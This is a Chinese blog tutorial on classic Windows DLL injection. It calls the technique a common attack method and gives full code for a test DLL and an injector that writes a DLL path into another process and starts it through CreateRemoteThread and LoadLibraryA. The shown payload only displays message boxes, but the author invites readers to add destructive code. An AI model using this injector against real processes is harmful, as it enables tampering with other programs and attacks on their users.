`
hulianwang2014
  • 浏览: 691250 次
文章分类
社区版块
存档分类
最新评论
  • bcworld: 排版成这样,一点看的欲望都没有了
    jfinal

简单的DLL注入及代码详解

 
阅读更多

dll注入是一种常用的攻击方法,其大概步骤如下:

1,编译出一个DLL,这个DLL的DllMain里面负责搞破坏

2,打开一个目标进程(就是你要搞破坏的进程)

3,在打开的目标进程里面分配一块内存(它的用处是用于放我们要注入的dll名称)

4,得到Kernel32.dll里面的LoadLibraryA的地址(注意,Kernel.dll是内核空间里面的,所以,在所有的进程里面,它的地址都一样的,所以LoadLibrary的地址在所有的进程里面也都是一样的)。

详细代码与过程如下所示:

1,打开Visual studio 2010,并且新建一个空的C++工程,我们不防命名为CPP,当然,如果你想命名为Donald Knuth也是可以的。

2,添加一个新的C++ 文件,不妨命名为ACM.cpp,当然,如果你想命名为BillGates.cpp也是可以的。

3,在上面的ACM.cpp里面输入以下代码:

#include <windows.h>
BOOL __stdcall DllMain( HANDLE hDllHandle, DWORD dwReason, LPVOID lpreserved ){
	switch(dwReason){
	case	DLL_PROCESS_ATTACH:
	case	DLL_THREAD_ATTACH:
		MessageBox(NULL, TEXT("DLL加载"), TEXT("message"), MB_OK);
		break;
	case	DLL_PROCESS_DETACH:
	case	DLL_THREAD_DETACH:
		MessageBox(NULL, TEXT("DLL卸载"), TEXT("message"), MB_OK);
		break;
	}
	return	(TRUE);
}

4,新建一个Library.def文件,输入以下内容:

LIBRARY	"CPP"
EXPORTS
	DllMain

5,设置这个空项目的类型为dll,并在Linker选项下面的Input下面的Module Definition File里面输入Library.def(上面新建的那个def文件的名字)

6,编译这个工程,得到了一个名字为CPP.dll的文件,将其保存在E:\\的根目录下面。

7,新建一个新的空项目,并添加一个文件main.cpp,输入以下内容:

#undef	UNICODE

#include <windows.h>
#include <iostream>
using namespace std;

#define _T(queto)	TEXT(queto)

void	EnableProcessPrivilege(LPTSTR	lpszPrivilege);
void	InjectToProcess(DWORD	dwProcessID, LPTSTR	lpszDllName);
int main(){
	DWORD	dwProcessID;
	cout<<"Please input the id of process which you want to inject!"<<endl;
	cin>>dwProcessID;
	//EnableProcessPrivilege(SE_DEBUG_NAME);
	InjectToProcess(dwProcessID, "G:\\cpp.dll");
}

void	EnableProcessPrivilege(LPTSTR	lpszPrivilege){
	HANDLE	hToken;
	TOKEN_PRIVILEGES	priv=	{1,{0, 0, SE_PRIVILEGE_ENABLED}};
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
	DWORD	Size=	lstrlen(lpszPrivilege);
	LookupPrivilegeName(NULL, &(priv.Privileges[0].Luid), lpszPrivilege, &Size);
	AdjustTokenPrivileges(hToken, FALSE, &priv, sizeof(priv), NULL, NULL);
	CloseHandle(hToken);
}

void	InjectToProcess(DWORD	dwProcessID, LPTSTR	lpszDllName){
	HANDLE	hProcToInject=	INVALID_HANDLE_VALUE;
	LPVOID	szDllName=	NULL;
	HMODULE	hKernel;	
	LPTHREAD_START_ROUTINE	ThreadProc;
	HANDLE	hRemoteThread;
	DWORD	dwFileNameLength;
	__try{
		hProcToInject=	OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
		if(hProcToInject==	NULL){
			cout<<"OPen process failed!"<<endl;
			__leave;
		}
		dwFileNameLength=	(lstrlen(lpszDllName)+ 1)* sizeof(TCHAR);
		szDllName=	VirtualAllocEx(hProcToInject, 0, dwFileNameLength, MEM_COMMIT, PAGE_READWRITE);
		if(szDllName==	NULL){
			cout<<"alloc memory failed!"<<endl;
			__leave;
		}
		if(!WriteProcessMemory(hProcToInject, szDllName, lpszDllName, dwFileNameLength, NULL)){
			cout<<"wirite memory failed!"<<endl;
			__leave;
		}
		hKernel	=	GetModuleHandle(_T("kernel32.dll"));
		if(hKernel==	INVALID_HANDLE_VALUE){
			cout<<"get module handle failed!"<<endl;
			__leave;
		}
		ThreadProc=	(LPTHREAD_START_ROUTINE)GetProcAddress(hKernel, "LoadLibraryA");
		if(ThreadProc==	NULL){
			cout<<"Get function failed!"<<endl;
			__leave;
		}
		hRemoteThread=	CreateRemoteThread(hProcToInject, NULL, 0, ThreadProc, szDllName, 0, NULL);
		if(hRemoteThread==	NULL)
			__leave;
		//WaitForSingleObject(hRemoteThread, INFINITE);
	}
	__finally{

	}
}


8,然后编译运行,会弹出一个黑框(Console),并提示你输入你要注入的进程的PID,此时,你可以打开任务管理器,并打开查看->选择列下面的pID标签。在这里你可以看到所有进程的PID,你那个黑框上面输入你想注入的进程的PID就可以了。至此,dll注入已经完成,当然,我没有搞破坏,如果你想搞破坏,那是你的事。

代码说明:

有些人可能说,我这里面非要在任务管理器里面输入PID,其实完全可以不需要这样,你可以使用Process32FirstProcess32Next两个函数遍历系统进程列表,然后从中找到你要注入的进程列表。


分享到:
评论

相关推荐

    如何获取C#中方法的执行时间以及其代码注入详解

    主要给大家介绍了关于如何获取C#中方法的执行时间以及其代码注入的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面来一起看看吧

    在.NET Core控制台程序中如何使用依赖注入详解

    主要给大家介绍了关于在.NET Core控制台程序中如何使用依赖注入的相关资料,文中通过示例代码介绍的非常详细,需要的朋友可以参考借鉴,下面随着小编来一起学习学习吧

    delphi超级实例偏hacker

    ly_liuyang 的三个代码.txt 深入了解String.txt 用Delphi创建NT2000账号.txt 用hook实现dll注入详解.txt 网友写的HookAPI源代码.txt 花指令添加器源代码.rar 超短精简进制转换 (二进制十进制十六...

    郁金香VC++初级、中级、进阶、高级+过驱动保护全套教程(已过期)

    2.2.4、远程注入代码,调用打坐CALL; 2.2.5、实例分析:找技能栏对象数组基址+偏移: 2.2.6: 拦截F1-F8功能CALL 2.3、外挂框架构建 2.3.1、DLL动态链接库构建,与调用 2.3.2、API与回调函数 2.3.3、DLL...

    郁金香VC++外挂编程全集中级篇2.1.6part02

    2.2.4、远程注入代码,调用打坐CALL; 2.2.5、实例分析:找技能栏对象数组基址+偏移: 2.2.6: 拦截F1-F8功能CALL 2.3、外挂框架构建 2.3.1、DLL动态链接库构建,与调用 2.3.2、API与回调函数 2.3.3、DLL中构建...

    郁金香VC++外挂编程全集中级篇2.1.3part02

    2.2.4、远程注入代码,调用打坐CALL; 2.2.5、实例分析:找技能栏对象数组基址+偏移: 2.2.6: 拦截F1-F8功能CALL 2.3、外挂框架构建 2.3.1、DLL动态链接库构建,与调用 2.3.2、API与回调函数 2.3.3、DLL中构建...

    郁金香VC++外挂编程全集中级篇2.1.5part01

    2.2.4、远程注入代码,调用打坐CALL; 2.2.5、实例分析:找技能栏对象数组基址+偏移: 2.2.6: 拦截F1-F8功能CALL 2.3、外挂框架构建 2.3.1、DLL动态链接库构建,与调用 2.3.2、API与回调函数 2.3.3、DLL中构建...

    Web安全深度剖析(张柄帅)

    《Web安全深度剖析》总结了当前流行的高危漏洞的形成原因、攻击手段及解决方案,并通过大量的示例代码复现漏洞原型,制作模拟环境,更好地帮助读者深入了解Web应用程序中存在的漏洞,防患于未然。 《Web安全深度剖析...

    asp.net知识库

    HttpModule 实现 ASP.Net (*.aspx) 中文简繁体的自动转换,不用修改原有的任何代码,直接部署即可! 服务器自定义开发二之客户端脚本回发 Web开发: 使用URL重写WEB主题切换 如何在Asp.Net1.1中实现页面模板(所谓的...

    软件加密技术内幕

    3.1.7 如何在另一个进程中注入代码 3.2 利用调试API编写脱壳机 3.2.1 tElock 0.98脱壳简介 3.2.2 脱壳机的编写 3.3 利用调试API制作内存补丁 3.3.1 跨进程内存存取机制 3.3.2 Debug API机制 第4章 ...

    加密解密.技术内幕.chm

    3.1.1 调试相关函数简要说明 3.1.2 调试事件 3.1.3 如何在调试时创建并跟踪一个进程 3.1.4 最主要的循环体 3.1.5 如何处理调试事件 3.1.6 线程环境详解 3.1.7 如何在另一个进程中注入代码3.2 利用调试API编写脱壳机 ...

    软件加密技术内幕 chm

    3.1.7 如何在另一个进程中注入代码 3.2 利用调试API编写脱壳机 3.2.1 tElock 0.98脱壳简介 3.2.2 脱壳机的编写 3.3 利用调试API制作内存补丁 3.3.1 跨进程内存存取机制 3.3.2 Debug API机制 第4章 ...

    亮剑.NET深入体验与实战精要2

    本书集实用性、思想性、趣味性于一体,内容共分为技术基础总结、系统架构设计思想及项目实战解析三部分,随书所附光盘收录大量实例代码及独家披露的商业系统,供读者参考学习。 本书适合于.NET初、中级开发人员参考...

    亮剑.NET深入体验与实战精要3

    本书集实用性、思想性、趣味性于一体,内容共分为技术基础总结、系统架构设计思想及项目实战解析三部分,随书所附光盘收录大量实例代码及独家披露的商业系统,供读者参考学习。 本书适合于.NET初、中级开发人员参考...

    【软件加密技术内幕】

    3.1.5 如何处理调试事件 &lt;br/&gt; 3.1.6 线程环境详解 &lt;br/&gt; 3.1.7 如何在另一个进程中注入代码 &lt;br/&gt;3.2 利用调试API编写脱壳机 &lt;br/&gt; 3.2.1 tElock 0.98脱壳简介 &lt;br/&gt; 3.2.2 脱壳机的编写 ...

Global site tag (gtag.js) - Google Analytics